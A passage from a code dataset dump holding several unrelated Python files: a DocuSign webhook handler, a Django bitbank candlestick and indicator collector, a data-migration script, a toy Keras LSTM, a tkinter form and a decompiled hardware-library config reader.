webhook_url\n }\n\n\ndef setup_output_dir(envelope_id):\n# setup output dir for the envelope\n # Store the file. Create directories as needed\n # Some systems might still not like files or directories to start with numbers.\n # So we prefix the envelope ids with E and the timestamps with T\n \n # Make the envelope's directory\n \n envelope_dir = get_envelope_dir(envelope_id)\n os.makedirs(envelope_dir)\n # and copy in the ReadMe file\n files_dir = os.path.join(os.getcwd(), xml_file_dir)\n shutil.copy(os.path.join(files_dir, readme), envelope_dir)\n\ndef get_envelope_dir(envelope_id):\n # Some systems might still not like files or directories to start with numbers.\n # So we prefix the envelope ids with E\n \n # Make the envelope's directory\n files_dir = os.path.join(os.getcwd(), xml_file_dir)\n envelope_dir = os.path.join(files_dir, envelope_id_to_dir(envelope_id))\n return envelope_dir\n\ndef envelope_id_to_dir(envelope_id):\n return \"E\" + envelope_id\n\n########################################################################\n########################################################################\n\ndef webhook_listener():\n # Process the incoming webhook data. See the DocuSign Connect guide\n # for more information\n #\n # Strategy: examine the data to pull out the envelope_id and time_generated fields.\n # Then store the entire xml on our local file system using those fields.\n #\n # If the envelope status==\"Completed\" then store the files as doc1.pdf, doc2.pdf, etc\n #\n # This function could also enter the data into a dbms, add it to a queue, etc.\n # Note that the total processing time of this function must be less than\n # 100 seconds to ensure that DocuSign's request to your app doesn't time out.\n # Tip: aim for no more than a couple of seconds! Use a separate queuing service\n # if need be.\n data = request.data # This is the entire incoming POST content.\n # This is dependent on your web server. In this case, Flask\n \n # f = open(os.getcwd() + \"/app/example_completed_notification.xml\")\n # data = f.read()\n \n # Note, there are many options for parsing XML in Python\n # For this recipe, we're using Beautiful Soup, http://www.crummy.com/software/BeautifulSoup/\n\n xml = BeautifulSoup(data, \"xml\")\n envelope_id = xml.EnvelopeStatus.EnvelopeID.string\n time_generated = xml.EnvelopeStatus.TimeGenerated.string\n\n # Store the file. \n # Some systems might still not like files or directories to start with numbers.\n # So we prefix the envelope ids with E and the timestamps with T\n envelope_dir = get_envelope_dir(envelope_id)\n filename = \"T\" + time_generated.replace(':' , '_') + \".xml\" # substitute _ for : for windows-land\n filepath = os.path.join(envelope_dir, filename)\n with open(filepath, \"w\") as xml_file:\n xml_file.write(data)\n \n # If the envelope is completed, pull out the PDFs from the notification XML\n if (xml.EnvelopeStatus.Status.string == \"Completed\"):\n # Loop through the DocumentPDFs element, storing each document.\n for pdf in xml.DocumentPDFs.children:\n if (pdf.DocumentType.string == \"CONTENT\"):\n filename = 'Completed_' + pdf.Name.string\n elif (pdf.DocumentType.string == \"SUMMARY\"):\n filename = pdf.Name.string\n else:\n filename = pdf.DocumentType.string + \"_\" + pdf.Name.string\n full_filename = os.path.join(envelope_dir, filename)\n with open(full_filename, \"wb\") as pdf_file:\n pdf_file.write(base64.b64decode(pdf.PDFBytes.string))\n\n\n########################################################################\n########################################################################\n\ndef nda_fields():\n # The fields for the sample document \"NDA\"\n # Create 4 fields, using anchors \n # * signer1sig\n # * signer1name\n # * signer1company\n # * signer1date\n fields = {\n \"signHereTabs\": [{\n \"anchorString\": \"signer1sig\",\n \"anchorXOffset\": \"0\",\n \"anchorYOffset\": \"0\",\n \"anchorUnits\": \"mms\",\n \"recipientId\": \"1\",\n \"name\": \"Please sign here\",\n \"optional\": \"false\",\n \"scaleValue\": 1,\n \"tabLabel\": \"signer1sig\"}],\n \"fullNameTabs\": [{\n \"anchorString\": \"signer1name\",\n \"anchorYOffset\": \"-6\",\n \"fontSize\": \"Size12\",\n \"recipientId\": \"1\",\n \"tabLabel\": \"Full Name\",\n \"name\": \"Full Name\"}],\n \"textTabs\": [{\n \"anchorString\": \"signer1company\",\n \"anchorYOffset\": \"-8\",\n \"fontSize\": \"Size12\",\n \"recipientId\": \"1\",\n \"tabLabel\": \"Company\",\n \"name\": \"Company\",\n \"required\": \"false\"}],\n \"dateSignedTabs\": [{\n \"anchorString\": \"signer1date\",\n \"anchorYOffset\": \"-6\",\n \"fontSize\": \"Size12\",\n \"recipientId\": \"1\",\n \"name\": \"Date Signed\",\n \"tabLabel\": \"Company\"}]\n }\n return fields\n\n########################################################################\n########################################################################\n\n# FIN\n \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"app/py_010_webhook_lib.py","file_name":"py_010_webhook_lib.py","file_ext":"py","file_size_in_byte":16691,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"239587259","text":"import asyncio\nfrom datetime import datetime, timedelta, timezone\nimport time\nimport traceback\nfrom django.core.management.base import BaseCommand, CommandError\nimport python_bitbankcc\n# import json\n# import slackweb\nimport numpy, decimal\nfrom django_pandas.io import read_frame\nimport pandas\nfrom django.db.models import Max, Min\nfrom app2.models import CandleStickNew, Indicator, SignalNew\n\n# タイムゾーンの生成\nJST = timezone(timedelta(hours=+9), 'JST')\nUTC = timezone(timedelta(), 'UTC')\n# パブリックAPIの生成\npub = python_bitbankcc.public()\n\n# プライベートAPIの生成\nprv = python_bitbankcc.private('', '')\n\nclass Command(BaseCommand):\n async def create_1min_candlestick(self):\n while True:\n try:\n api_rslt_candlestick = pub.get_candlestick('btc_jpy', '1min', datetime.now(UTC).strftime('%Y%m%d'))\n for ohlcv in api_rslt_candlestick[\"candlestick\"][0][\"ohlcv\"]:\n CandleStickNew.objects.create_candlestick(ohlcv, '1min')\n \n print('create_1min_candlestick() complete.')\n await asyncio.sleep(30)\n\n except:\n traceback.print_exc()\n raise CommandError('something error oocuerd with create_1min_candlestick().')\n\n async def create_30min_candlestick(self):\n while True:\n try:\n api_rslt_candlestick = pub.get_candlestick('btc_jpy', '30min', datetime.now(UTC).strftime('%Y%m%d'))\n for ohlcv in api_rslt_candlestick[\"candlestick\"][0][\"ohlcv\"]:\n CandleStickNew.objects.create_candlestick(ohlcv, '30min')\n \n print('create_30min_candlestick() complete.')\n await asyncio.sleep(900)\n\n except:\n traceback.print_exc()\n raise CommandError('something error oocuerd with create_30min_candlestick().')\n\n async def create_1hour_candlestick(self):\n while True:\n try:\n api_rslt_candlestick = pub.get_candlestick('btc_jpy', '1hour', datetime.now(UTC).strftime('%Y%m%d'))\n for ohlcv in api_rslt_candlestick[\"candlestick\"][0][\"ohlcv\"]:\n CandleStickNew.objects.create_candlestick(ohlcv, '1hour')\n \n print('create_1hour_candlestick() complete.')\n await asyncio.sleep(1800)\n\n except:\n traceback.print_exc()\n raise CommandError('something error oocuerd with create_1hour_candlestick().')\n\n async def create_indicator(self):\n while True:\n try:\n # 新しい順に並べ、未確定である直近1件を除く30件を取得 *ネガティブインデックスをサポートしていないため、取得後にインデックスを振り直す\n # candlestick = CandleStickNew.objects.filter(type=CandleStickNew.TypeChoices.type1min).order_by('unix_time')[-30:]\n candlestick = CandleStickNew.objects.filter(type=CandleStickNew.TypeChoices.type1min).order_by('unix_time').reverse()[1:31]\n # test[test.__len__()-2::-1]\n\n dfcs = read_frame(candlestick)\n\n #日付順でソートしインデックスを振り直す\n dfcs.sort_values('unix_time', ascending=True, inplace=True)\n dfcs.reset_index(inplace=True, drop=True)\n \n dfindctr = pandas.DataFrame()\n dfindctr['candlestick'] = dfcs['id'] #タイムスタンプ\n # dfindctr['open'] = dfcs['open'] #始値\n # dfindctr['high'] = dfcs['high'] #高値\n # dfindctr['low'] = dfcs['low'] #安値\n dfindctr['close'] = dfcs['close'] #終値\n dfindctr['ema_12'] = dfcs['close'].ewm(span=12, adjust=True).mean() #MACD:短期指数平滑移動平均\n dfindctr['ema_26'] = dfcs['close'].ewm(span=26, adjust=True).mean() #MACD:長期指数平滑移動平均\n dfindctr['macd'] = dfindctr['ema_12'] - dfindctr['ema_26'] #MACD:MACD\n dfindctr['macd_signal'] = dfindctr['macd'].ewm(span=9, adjust=True).mean() #MACD:シグナル(MACDの指数平滑移動平均)\n dfindctr['macd_h'] = dfindctr['macd'] - dfindctr['macd_signal'] #MACD:ヒストグラム\n dfindctr['sma'] = dfcs['close'].rolling(window=20, min_periods=20).mean() #単純移動平均\n dfindctr['std'] = dfcs['close'].rolling(window=20, min_periods=20).std(ddof=1) #標準偏差(ddof=1:不偏分散)\n\n #インデックスはそのままに未来にずらし前日高値を結合、ATRを期間14で算出\n predf = pandas.DataFrame()\n predf = dfcs.shift(1)\n dfcs['pre_close'] = predf['close']\n dfcs['tr1'] = dfcs['high'] - dfcs['low']\n dfcs['tr2'] = dfcs['high'] - dfcs['pre_close']\n dfcs['tr3'] = dfcs['low'] - dfcs['pre_close']\n dfindctr['tr_max'] = dfcs[['tr1', 'tr2', 'tr3']].max(axis=1) #True Range\n dfindctr['atr'] = dfindctr['tr_max'].ewm(span=14).mean() #Average True Range\n dfindctr['period_20_high'] = dfcs['high'].rolling(window=20, min_periods=1).max()\n dfindctr['period_20_low'] = dfcs['low'].rolling(window=20, min_periods=1).min()\n\n #欠損値を置換する\n # macd.fillna({'sma': macd.loc[0, 'close'], 'std': 0}, inplace=True)\n\n print(dfindctr[-5:-1])\n # 統計をデータベースに格納 *最新1件を除く5件を取得し、未反映文を差分反映\n for index, row in dfindctr[-5:].iterrows():\n defaults = dict(\n ema_12 = row['ema_12'],\n ema_26 = row['ema_26'],\n macd = row['macd'],\n macd_signal = row['macd_signal'],\n macd_h = row['macd_h'],\n sma = row['sma'],\n std = row['std'],\n tr_max = row['tr_max'],\n atr = row['atr'],\n period_20_high = row['period_20_high'],\n period_20_low = row['period_20_low'],\n )\n indicator, created = Indicator.objects.get_or_create(\n candlestick=CandleStickNew.objects.filter(id=row['candlestick']),\n defaults=defaults\n )\n # if not created:\n # for k, v in defaults.items():\n # setattr(indicator, k, v)\n # indicator.save()\n \n await asyncio.sleep(30)\n\n except:\n traceback.print_exc()\n raise CommandError('something error oocuerd with create_indicator().')\n\n async def main(self):\n while True:\n print('Processing...')\n await asyncio.sleep(60)\n\n # async def wait_input(self, loop):\n # await input()\n # loop.stop()\n\n def handle(self, *args, **options):\n loop = asyncio.get_event_loop()\n # loop.run_until_complete(self.data_correct())\n # loop.call_soon(self.data_correct)\n # loop.run_forever()\n futures = asyncio.gather(\n self.main(),\n self.create_1min_candlestick(),\n self.create_30min_candlestick(),\n self.create_1hour_candlestick(),\n self.create_indicator(),\n )\n # futures = asyncio.gather(self.main(), self.data_correct(), self.wait_input(loop))\n loop.run_until_complete(futures)\n # while True:\n # print('Processing...')\n # time.sleep(60)\n \n \n\n #order_r = Order.objects.filter(id=882).prefetch_related(Prefetch(\"order_set\", queryset=Order.objects.all(), to_attr=\"order_order\"))\n #print(order_r.first().order_order[0].id) \n ","sub_path":"mcp/app2/management/commands/bitbankccnew.py","file_name":"bitbankccnew.py","file_ext":"py","file_size_in_byte":8542,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"263612454","text":"from datacon.models import DataTag, DataSet, ReadingNumeric, ReadingDiscrete, ReadingText\nfrom datacon.models import TagNumeric, TagDiscrete, TagText, ViewSet, InputFiltering, ValueDiscrete, ValueNumeric, ValueText\nfrom django.core.exceptions import ObjectDoesNotExist\n\n\ndef clear_tags():\n for t in [TagNumeric, TagDiscrete, TagText]:\n t.objects.all().delete()\n\n\ndef clear_records():\n for r in [ValueDiscrete, ValueNumeric, ValueText]:\n r.objects.all().delete()\n\n\ndef clear_viewsets():\n ViewSet.objects.all().delete()\n\n\ndef make_tags():\n for dt in DataTag.objects.all():\n print(\"Copying {}\".format(dt.name))\n tag_type = None\n input_filter = None\n numeric_count = ReadingNumeric.objects.filter(tag=dt).count()\n text_count = ReadingText.objects.filter(tag=dt).count()\n discr_count = ReadingDiscrete.objects.filter(tag=dt).count()\n mx = max(numeric_count, text_count, discr_count)\n if mx == numeric_count:\n tag_type = TagNumeric\n elif mx == discr_count:\n tag_type = TagDiscrete\n else:\n tag_type = TagText\n new_tag = tag_type(data_source=dt.source,\n name=dt.name,\n display_name=dt.display_name,\n ignore_duplicates=dt.ignore_duplicates)\n if tag_type == TagNumeric:\n new_tag.units = dt.units\n if dt.filter_delta is not None:\n new_tag.input_filter = InputFiltering.objects.create(deadband=dt.filter_delta.delta_value)\n new_tag.save()\n\n\ndef make_records():\n total = 0\n for t in [(TagNumeric, ReadingNumeric, ValueNumeric),\n (TagDiscrete, ReadingDiscrete, ValueDiscrete),\n (TagText, ReadingText, ValueText)]:\n for dt in t[0].objects.all():\n print(\"Processing tag {} ({} reading by now)\".format(dt.name, total))\n vals = t[1].objects.filter(tag__name=dt.name, tag__source=dt.data_source).order_by('timestamp_packet')\n print(\"Has {} readings\".format(len(vals)))\n for v in vals:\n kw = {\n \"timestamp_obtain\": v.timestamp_packet,\n \"timestamp_receive\": v.timestamp_receive,\n \"timestamp_update\": v.timestamp_receive,\n \"time_to_obtain\": v.time_to_obtain,\n \"error\": v.error,\n \"tag\": dt,\n \"value\": v.reading\n }\n t[2].objects.create(**kw)\n total += 1\n print(\"Total {} readings\".format(total))\n\n\ndef make_viewsets():\n for ds in DataSet.objects.all():\n kw = {\n \"uid\": ds.uid,\n \"user\": ds.user,\n \"name\": ds.name,\n }\n print(\"Making viewset {}\".format(ds.name))\n vs = ViewSet.objects.create(**kw)\n for t in ds.tags.all():\n print(\"Adding tag {}\".format(t.name))\n try:\n dt = TagNumeric.objects.get(data_source=t.source, name=t.name)\n vs.tags_numeric.add(dt)\n except ObjectDoesNotExist:\n try:\n dt = TagDiscrete.objects.get(data_source=t.source, name=t.name)\n vs.tags_discrete.add(dt)\n except ObjectDoesNotExist:\n try:\n dt = TagText.objects.get(data_source=t.source, name=t.name)\n vs.tags_text.add(dt)\n except ObjectDoesNotExist:\n pass\n vs.save()\n","sub_path":"django/convert_base.py","file_name":"convert_base.py","file_ext":"py","file_size_in_byte":3577,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"211219924","text":"# 1. 데이터\r\nimport numpy as np\r\n\r\nx = np.array([[1,2,3],[2,3,4],[3,4,5],[4,5,6]]) # (4,3)\r\ny = np.array([4,5,6,7]) # (4, )\r\n\r\nprint(\"x.shape, y.shape : \",x.shape,y.shape)\r\n\r\nx = x.reshape(x.shape[0] , x.shape[1] , 1)\r\n# x = x.reshape(4,3,1)\r\nprint(\"x.shape : \",x.shape)\r\n\r\nfrom sklearn.model_selection import train_test_split\r\nx_train, x_test, y_train, y_test = train_test_split(x,y,train_size=0.75,shuffle=True, random_state=1)\r\n\r\n# 2. 모델 구성\r\nfrom tensorflow.keras.models import Sequential\r\nfrom tensorflow.keras.layers import Dense, LSTM\r\nmodel = Sequential()\r\nmodel.add(LSTM(100,activation='relu',input_shape=(3,1)))\r\nmodel.add(Dense(20,activation='relu'))\r\nmodel.add(Dense(20,activation='relu'))\r\nmodel.add(Dense(20,activation='relu'))\r\nmodel.add(Dense(20,activation='relu'))\r\nmodel.add(Dense(20,activation='relu'))\r\nmodel.add(Dense(20,activation='relu'))\r\nmodel.add(Dense(20,activation='relu'))\r\nmodel.add(Dense(20,activation='relu'))\r\nmodel.add(Dense(20,activation='relu'))\r\nmodel.add(Dense(1))\r\n\r\nmodel.summary()\r\n\r\n# 3. 컴파일, 훈련\r\nmodel.compile(loss='mse',optimizer='adam',metrics='mae')\r\nmodel.fit(x,y,epochs=200,batch_size=1)\r\n\r\n\r\n# 4. 평가, 예측\r\n\r\n# loss = model.evaluate(x_test,y_test)\r\n# print(\"loss : \",loss)\r\n\r\nx_input = np.array([5,6,7]) # (3, ) -> (1,3,1)\r\nx_input = x_input.reshape(1,3,1)\r\n\r\nx_input_predict = model.predict(x_input)\r\nprint(\"x_input_preidct : \",x_input_predict)\r\n\r\n# y_test_predict = model.predict(x_test)\r\n# print(\"y_test : \",y_test)\r\n# print(\"y_test_predict : \",y_test_predict)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"Study/keras/keras17_LSTM_1112.py","file_name":"keras17_LSTM_1112.py","file_ext":"py","file_size_in_byte":1594,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"303821677","text":"#!/usr/bin/python3\nfrom tkinter import *\n\n\ncor_fundo = \"#030\"\ncor_letra = \"white\"\n\njanela = Tk()\n\n\ndef place_new_label(janela, text, x, y, font_size=12):\n label = Label(janela, text=\"Veterinario\", font=(\"verdana\", font_size))\n label.place(x=None, y=None)\n return label\n\n\ndata = place_new_label(janela, text=\"Data\", x=cor_fundo, y=cor_letra)\ndata.place(x=20, y= 60)\nEntry(janela)\ndata.place(x=20, y=70)\n\nveterinario = place_new_label(janela, text=\"Veterinário: \", x=cor_fundo, y=cor_letra)\nveterinario.place(x=400, y=110)\nveterinario_caixa_entr2 = Entry(janela)\nveterinario_caixa_entr2.place(x=510, y=110)\n\n\njanela.mainloop()","sub_path":"test_App_Fred.py","file_name":"test_App_Fred.py","file_ext":"py","file_size_in_byte":634,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"246939687","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.5 (3350)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /usr/local/lib/python3.5/dist-packages/HdlLib/SysGen/HW/HwLib.py\n# Compiled at: 2017-07-08 08:29:58\n# Size of source mod 2**32: 34742 bytes\nimport os, sys, logging, string, re\ntry:\n import configparser\nexcept ImportError:\n import configparser\n\nimport shutil, subprocess, collections\nsys.path.append(os.path.normpath(os.path.join(os.path.dirname(__file__), '..', '..')))\nfrom Utilities.Misc import ReplaceTextInFile, IterFiles\nfrom SysGen.HW import HwConstraints\nfrom SysGen import HWLIBRARYPATH\n\ndef ListArchi(LibraryPaths=[]):\n \"\"\"\n Create a constraint file for specified Ctrl and Target.\n \"\"\"\n LibraryPaths.append(HWLIBRARYPATH)\n ArchiList = []\n for FilePath in IterFiles(SearchPaths=LibraryPaths, Name='*.ini'):\n Config = configparser.RawConfigParser()\n Config.read(FilePath)\n Sections = Config.sections()\n if 'Common' in Sections:\n if Config.has_option('Common', 'Architecture'):\n ArchiList.append(Config.get('Common', 'Architecture').strip())\n else:\n logging.error(\"No such option 'Architecture' found in configuration file '{0}'.\".format(FilePath))\n continue\n else:\n logging.warning(\"Ignoring configuration file '{0}'.\".format(FilePath))\n continue\n\n return ArchiList\n\n\nclass ArchiConfig:\n __doc__ = '\\n\\tObject for reading HW library configuration parameters.\\n\\tEach config is written in a \"*.ini\" configuration file.\\n\\t'\n\n def __init__(self, Architecture, LibraryPaths=[]):\n \"\"\"\n Parse configuration file.\n \"\"\"\n if Architecture is None:\n logging.error('No Architecture name available.')\n raise NameError\n self.Architecture = Architecture\n self.Config = None\n self.ConfigPath = None\n self.FlowConfig = None\n self.ReloadConfig(LibraryPaths=list(set(LibraryPaths)))\n\n def ReloadConfig(self, LibraryPaths=[]):\n \"\"\" \n Read architecture configuration file and return true if success else False.\n \"\"\"\n LibraryPaths.append(HWLIBRARYPATH)\n logging.debug('Browse library paths \\n * {0}'.format('\\n * '.join(LibraryPaths)))\n for FilePath in IterFiles(SearchPaths=LibraryPaths, Name='*.ini'):\n Config = configparser.RawConfigParser()\n Config.read(FilePath)\n Sections = Config.sections()\n if 'Common' in Sections:\n if Config.has_option('Common', 'Architecture') and Config.get('Common', 'Architecture').lower() == self.Architecture.lower():\n self.Config = Config\n self.ConfigPath = FilePath\n logging.debug(\"Configuration file found for architecture '{0}'.\".format(self.Architecture))\n if Config.has_option('Common', 'ImplementFlow'):\n self.FlowConfig = FlowConfig(Config.get('Common', 'ImplementFlow'))\n return True\n else:\n logging.error(\"No such option 'ImplementFlow' found in configuration of architecture '{0}'.\".format(self.Architecture))\n return False\n else:\n continue\n else:\n logging.error(\"No such option 'Architecture' found in configuration file '{0}'.\".format(FilePath))\n return False\n\n logging.error(\"No configuration file found for architecture '{0}'.\".format(self.Architecture))\n return False\n\n def GetConfigDict(self):\n \"\"\" \n return List of available section in config file.\n \"\"\"\n if self.Config is None:\n logging.error(\"Configuration file not loaded for architecture '{0}'.\".format(self.Architecture))\n return []\n Sections = self.Config.sections()\n if 'Common' in Sections:\n Sections.remove('Common')\n else:\n logging.error(\"'Common'.\".format(self.Architecture))\n return []\n ConfigDict = {}\n for S in Sections:\n if self.Config.has_option(S, 'AcceptedTargetArchitectures'):\n T = self.Config.get(S, 'AcceptedTargetArchitectures')\n if T in ConfigDict:\n ConfigDict[T].append(S)\n else:\n ConfigDict[T] = [\n S]\n\n return ConfigDict\n\n def GetFPGA(self, FullId=True):\n \"\"\" \n Read command configuration file and return value of FPGAFullId option.\n \"\"\"\n if self.Config is None:\n logging.error(\"Configuration file not loaded for architecture '{0}'.\".format(self.Architecture))\n return\n else:\n if FullId:\n Key = 'FPGAFullId'\n else:\n Key = 'FPGAId'\n if self.Config.has_option('Common', Key):\n return self.Config.get('Common', Key)\n logging.error(\"'{0}' configuration error. No such option '{2}' in configuration file ('{1}').\".format(self.Architecture, self.ConfigPath, Key))\n return\n\n def GetAvailableRsc(self):\n \"\"\" \n Read command configuration file and return value of FPGAFullId option.\n \"\"\"\n if self.Config is None:\n logging.error(\"Configuration file not loaded for architecture '{0}'.\".format(self.Architecture))\n return\n RscDict = {}\n if self.Config.has_option('Common', 'AvailableRegister'):\n RscDict['REGISTER'] = (\n int(self.Config.get('Common', 'AvailableRegister')), -1, -1)\n else:\n logging.warning(\"'{0}' configuration warning. No such option '{2}' in configuration file ('{1}').\".format(self.Architecture, self.ConfigPath, 'AvailableRegister'))\n if self.Config.has_option('Common', 'AvailableLUT'):\n RscDict['LUT'] = (\n int(self.Config.get('Common', 'AvailableLUT')), -1, -1)\n else:\n logging.warning(\"'{0}' configuration warning. No such option '{2}' in configuration file ('{1}').\".format(self.Architecture, self.ConfigPath, 'AvailableLUT'))\n if self.Config.has_option('Common', 'AvailableRAM'):\n RscDict['RAM'] = (\n int(self.Config.get('Common', 'AvailableRAM')), -1, -1)\n else:\n logging.warning(\"'{0}' configuration warning. No such option '{2}' in configuration file ('{1}').\".format(self.Architecture, self.ConfigPath, 'AvailableRAM'))\n return RscDict\n\n def GetCtrlIO(self, ConfigName):\n \"\"\" \n Read command configuration file and return value of CtrlIO option.\n \"\"\"\n if self.Config is None:\n logging.error(\"Configuration file not loaded for architecture '{0}'.\".format(self.Architecture))\n return\n else:\n if ConfigName not in self.Config.sections():\n logging.error(\"ConfigName '{0}' not in sections of configuration file '{1}'.\".format(ConfigName, self.ConfigPath))\n return\n if self.Config.has_option(ConfigName, 'CtrlIO'):\n CtrlIO = self.Config.get(ConfigName, 'CtrlIO')\n return os.path.normpath(os.path.join(os.path.dirname(self.ConfigPath), CtrlIO))\n logging.error(\"'{0}' configuration error. No such option 'CtrlIO' in configuration file ('{1}').\".format(self.Architecture, self.ConfigPath))\n return\n\n def GetFreq(self, ConfigName):\n \"\"\" \n Read command configuration file and return value of Frequency option.\n \"\"\"\n if self.Config is None:\n logging.error(\"Configuration file not loaded for architecture '{0}'.\".format(self.Architecture))\n return\n else:\n if ConfigName not in self.Config.sections():\n logging.error(\"ConfigName '{0}' not in sections of configuration file '{1}'.\".format(ConfigName, self.ConfigPath))\n return\n if self.Config.has_option(ConfigName, 'Frequency'):\n Freq = self.Config.get(ConfigName, 'Frequency')\n return Freq\n logging.error(\"'{0}' configuration error. No such option 'Frequency' in configuration file ('{1}').\".format(self.Architecture, self.ConfigPath))\n return\n\n def GetMinDividor(self, ConfigName):\n \"\"\" \n Read command configuration file and return value of 'MinDividor' option.\n \"\"\"\n if self.Config is None:\n logging.error(\"Configuration file not loaded for architecture '{0}'.\".format(self.Architecture))\n return\n else:\n if ConfigName not in self.Config.sections():\n logging.error(\"ConfigName '{0}' not in sections of configuration file '{1}'.\".format(ConfigName, self.ConfigPath))\n return\n if self.Config.has_option(ConfigName, 'MinDividor'):\n MinDividor = int(self.Config.get(ConfigName, 'MinDividor'))\n return MinDividor\n logging.error(\"'{0}' configuration error. No such option 'MinDividor' in configuration file ('{1}').\".format(self.Architecture, self.ConfigPath))\n return\n\n def GetSynthesisScript(self):\n \"\"\"\n Read flow configuration file and return value of SynthesisScript option.\n \"\"\"\n if self.FlowConfig is None:\n logging.error(\"No flow configuration associated with architecture '{0}': no implement script found.\".format(self.Architecture))\n return\n else:\n return self.FlowConfig.GetSynthesisScript()\n\n def GetSetupEnvScript(self):\n \"\"\"\n Read flow configuration file and return value of SetupEnvScript option.\n \"\"\"\n if self.FlowConfig is None:\n logging.error(\"No flow configuration associated with architecture '{0}': no SetupEnvScript option found.\".format(self.Architecture))\n return\n else:\n return self.FlowConfig.GetSetupEnvScript()\n\n def GetRscEstimationScript(self):\n \"\"\" \n Read flow configuration file and return value of Resource estimation script option 'RscEstimationScript'.\n \"\"\"\n if self.FlowConfig is None:\n logging.error(\"No flow configuration associated with architecture '{0}': no Resource estimation script found.\".format(self.Architecture))\n return\n else:\n return self.FlowConfig.GetRscEstimationScript()\n\n def GetUploadScript(self):\n \"\"\" \n Read flow configuration file and return value of UploadScript option.\n \"\"\"\n if self.FlowConfig is None:\n logging.error(\"No flow configuration associated with architecture '{0}': no implement script found.\".format(self.Architecture))\n return\n else:\n return self.FlowConfig.GetUploadScript()\n\n def GetCtrlImplementScript(self):\n \"\"\" \n Read flow configuration file and return value of CtrlImplementScript option.\n \"\"\"\n if self.FlowConfig is None:\n logging.error(\"No flow configuration associated with architecture '{0}': no ctrl implement script found.\".format(self.Architecture))\n return\n else:\n return self.FlowConfig.GetCtrlImplementScript()\n\n def GetSourcesTemplate(self):\n \"\"\" \n Read flow configuration file and return value of SourceListTemplate option.\n \"\"\"\n if self.FlowConfig is None:\n logging.error(\"No flow configuration associated with architecture '{0}': no Source-List Template found.\".format(self.Architecture))\n return\n else:\n return self.FlowConfig.GetSourcesTemplate()\n\n def GetSourcesFileName(self):\n \"\"\" \n Read flow configuration file and return value of SourcesFileName option.\n \"\"\"\n if self.FlowConfig is None:\n logging.error(\"No flow configuration associated with architecture '{0}': no SourcesFileName found.\".format(self.Architecture))\n return\n else:\n return self.FlowConfig.GetSourcesFileName()\n\n def GetTemplates(self, SetupVars, DestinationPath):\n \"\"\" \n Read flow configuration file and return value of SetupScript option.\n \"\"\"\n Templates = self.FlowConfig.GetTemplates()\n if DestinationPath is None:\n pass\n else:\n if not os.path.isdir(DestinationPath):\n logging.error(\"No such directory '{0}'\".format(DestinationPath))\n return []\n TemplateList = []\n for T in Templates:\n if DestinationPath is not None:\n shutil.copy(T, DestinationPath)\n T = os.path.join(DestinationPath, os.path.basename(T))\n for VarName, VarValue in SetupVars.items():\n ReplaceTextInFile(FileName=T, OldText='${0}'.format(VarName), NewText='{0}'.format(VarValue))\n\n TemplateList.append(T)\n\n return TemplateList\n\n def GetBitStreamExt(self):\n \"\"\" \n Return value of \"BinaryExtension\" field of a flow configuration.\n \"\"\"\n return self.FlowConfig.GetBitStreamExt()\n\n def GetMapReportExt(self):\n \"\"\" \n Return value of \"MapReportExt\" field of a flow configuration.\n \"\"\"\n return self.FlowConfig.GetMapReportExt()\n\n def GetParReportExt(self):\n \"\"\"\n Return value of \"ParReportExt\" field of a flow configuration.\n \"\"\"\n return self.FlowConfig.GetParReportExt()\n\n def GetCtrlInputExtension(self):\n \"\"\" \n Read flow configuration file and return value of dependency ext option.\n \"\"\"\n if self.FlowConfig is None:\n logging.error(\"No flow configuration associated with architecture '{0}': no constraint format found.\".format(self.Architecture))\n return\n else:\n DepExt = self.FlowConfig.GetCtrlInputExtension()\n return DepExt\n\n def GetConstraintFormat(self):\n \"\"\" \n Read flow configuration file and return value of ConstraintFormat option.\n \"\"\"\n if self.FlowConfig is None:\n logging.error(\"No flow configuration associated with architecture '{0}': no constraint format found.\".format(self.Architecture))\n return\n else:\n return self.FlowConfig.GetConstraintFormat()\n\n def GetBaseCtrlConstraints(self):\n \"\"\" \n Read flow configuration file and return value of BaseCtrlConstraints option.\n \"\"\"\n if self.Config is None:\n logging.error(\"Configuration file not loaded for architecture '{0}'.\".format(self.Architecture))\n return\n else:\n if 'Common' not in self.Config.sections():\n logging.error(\"No section 'Common' in configuration file '{1}'.\".format(self.ConfigPath))\n return\n if self.Config.has_option('Common', 'BaseCtrlConstraints'):\n BaseCtrlConstraints = self.Config.get('Common', 'BaseCtrlConstraints')\n return os.path.normpath(os.path.join(os.path.dirname(self.ConfigPath), BaseCtrlConstraints))\n logging.error(\"'{0}' configuration error. No such option 'BaseCtrlConstraints' in configuration file ('{1}').\".format(self.Architecture, self.ConfigPath))\n return\n\n def GetCompatibleConfig(self, NbClk, NbStim, NbTrace, NbBiDir, Target):\n \"\"\" \n Find compatible config (nb stim/trace/inout) and return config name.\n \"\"\"\n logging.debug('Seek compatible configuration of architecture {0} as controller (C={1}, S={2}, T={3}, B={4}).'.format(self.Architecture, NbClk, NbStim, NbTrace, NbBiDir))\n if self.Config is None:\n logging.error(\"Configuration file not loaded for architecture '{0}'.\".format(self.Architecture))\n return\n ClockMode = 'mult' if int(NbClk) > 1 else 'mono'\n logging.debug(\"ClockMode: '{0}'\".format(ClockMode))\n Sections = self.Config.sections()\n logging.debug(\"Sections: '{0}'\".format(Sections))\n for Sec in Sections:\n if Sec == 'Common':\n continue\n elif self.Config.has_option(Sec, 'MaxStimuli') and self.Config.has_option(Sec, 'MaxTraces') and self.Config.has_option(Sec, 'MaxBidir') and self.Config.has_option(Sec, 'ClockMode'):\n FoundClockMode = self.Config.get(Sec, 'ClockMode')\n MaxStimuli = int(self.Config.get(Sec, 'MaxStimuli'))\n MaxTraces = int(self.Config.get(Sec, 'MaxTraces'))\n MaxBidir = int(self.Config.get(Sec, 'MaxBidir'))\n logging.debug(\"Found config 